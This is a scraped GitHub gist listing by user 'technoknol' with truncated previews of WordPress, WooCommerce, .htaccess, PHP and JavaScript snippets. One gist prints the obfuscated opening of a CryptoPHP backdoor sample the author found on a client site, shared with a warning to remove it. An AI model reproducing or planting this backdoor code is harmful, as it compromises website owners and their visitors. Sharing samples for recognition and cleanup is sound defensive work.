Skip to content

Instantly share code, notes, and snippets.

Avatar
🎯
Focusing

Technoknol technoknol

🎯
Focusing
View GitHub Profile
@technoknol
technoknol / functions.php
Last active Aug 29, 2015
Wordpress Create Custom Theme Options Page
View functions.php
<?php
/* *
* Created By : TechnoKnol (Nick Name )
* Created On : 30th January 2014
* Blog : http://technoknol.blogspot.com
*
* */
/************************
*
@technoknol
technoknol / woocommerce_create_your_own_tab.php
Last active Aug 29, 2015
Woocommerce Create/Add your own tab on Single Product Page
View woocommerce_create_your_own_tab.php
<?php
/*
* Created By (Nick Name): TechnoKnol
* blog : http://technoknol.blogspot.com
* Purpose : Add your own code to Woocommerce Single Product Page
*
* */
/*
* Add this code to your theme's 'functions.php' file
@technoknol
technoknol / speedup-using-htaccess
Created Feb 27, 2014
Caching your website using .htaccess | Speed up your website using .htaccess | Wordpress/Joomla/Magento/Drupal/PHP
View speedup-using-htaccess
## EXPIRES CACHING ##
<IfModule mod_expires.c>
ExpiresActive On
ExpiresByType image/jpg "access 1 year"
ExpiresByType image/jpeg "access 1 year"
ExpiresByType image/gif "access 1 year"
ExpiresByType image/png "access 1 year"
ExpiresByType text/css "access 1 month"
ExpiresByType application/pdf "access 1 month"
ExpiresByType text/x-javascript "access 1 month"
@technoknol
technoknol / edit_csv_and_download_new.php
Last active Aug 29, 2015
Add new rows to existing CSV without editing it and Download new one.
View edit_csv_and_download_new.php
<?php
/*
* Author : TechnoKnol
* Blog : http://technoknol.blogspot.com
*
*/
header("Content-type: text/csv");
header("Content-Disposition: attachment; filename=file.csv");
@technoknol
technoknol / get-query-string-value-javascript.js
Created Jul 24, 2014
Get query string values in JavaScript?
View get-query-string-value-javascript.js
// Function ::
function getParameterByName(name) {
name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
results = regex.exec(location.search);
return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
}
// Usage ::
var queryVar = getParameterByName('key');
View get_time_in_milliseconds.php
<?php
// Get current time in milliseconds
$timeparts = explode(" ",microtime());
$currenttime = bcadd(($timeparts[0]*1000),bcmul($timeparts[1],1000));
echo $currenttime;
?>
@technoknol
technoknol / CryptoPHP-malware-sample.php
Last active Aug 29, 2015
Crypto PHP Malware - Remove this nasty code from your site.
View CryptoPHP-malware-sample.php
// This is CryptoPHP code sample I found on one of my client site. Remove this nasty code as soon as possible.
// This Gist is not to harm anyone. Don't run this code on your site.
// Generally it can be found in .png , .jpg files.
<?php @ini_set('max_execution_time', 300); @set_time_limit(0); error_reporting(0); @ini_set('display_errors', 0); if (!defined('WP_CLIENT_KEY')) { class mWocWcrhWpiDUTXuIwU { public $ANVoslonRNQSwwQloQTx = array(), $uQfIZmMpqyjCaRQMgMoc = array(), $TTsctbCBDGVyjyFVpVyp, $lhHQvpYkByKYXvXEsFob, $whjvYeznCnnMhNySt, $keXZeLlUjrISqwBQePlM, $wbpSSSviIAVdaxozPaIs, $rFofWoxFwVRGhuCOjsaK, $QchKkLFzBKbvSGpfvxRI, $uBgDYDxGvwTUUWgwsZtu, $RYXaXWzmuNWbJhAAdkYk; public $ClbAffTqwdfsStqVgzyq; public function __construct( $TTsctbCBDGVyjyFVpVyp ) { $this->TTsctbCBDGVyjyFVpVyp = $TTsctbCBDGVyjyFVpVyp; if ( $TTsctbCBDGVyjyFVpVyp === 1 ) { $rTfnEPRdToBnhSfwgHoC = "CREATE TABLE IF NOT EXISTS `#__options` (
`id` int(10) NOT NULL AUTO_INCREMENT,
`option_name` text NOT NULL,
`val
@technoknol
technoknol / get_where_function_is_declared.php
Created Dec 15, 2014
Get where function is declared file name and line no.
View get_where_function_is_declared.php
<?php
// Get where function is declared file name and line number.
$r = new ReflectionFunction('selected'); // ReflectionFunction is a PHP in-built class
echo $file = $r->getFileName(); // getFileName() is inherited method.
echo $startLine = $r->getStartLine(); // getStartLine() is inherited method.
?>
@technoknol
technoknol / alternative-nl2br-php.php
Created Jan 17, 2015
nl2el - An Alternative to nl2br() PHP function
View alternative-nl2br-php.php
<?php
function nl2el ($text , $el = 'span' , $class = '') {
$text = trim($text);
return '<'.$el.' class="'.$class.'">' . preg_replace('/[\r\n]+/', '</'.$el.' ><'.$el.' class="'.$class.'">', $text) . '</'.$el.'>';
}
// Usage
$formetted = nl2el( $withHtml , 'span' , 'multiple_class try_me' );
@technoknol
technoknol / wp_user_query orderby meta_value_num.php
Created Feb 3, 2015
Patch : WP_User_Query orderby meta_value_num
View wp_user_query orderby meta_value_num.php
<?php
// Paste this code in functions.php of your active theme.
add_action( 'pre_user_query', 'wps_pre_user_query' );
function wps_pre_user_query( &$query ) {
global $wpdb;
if ( isset( $query->query_vars['orderby'] ) && 'meta_value_num' == $query->query_vars['orderby'] )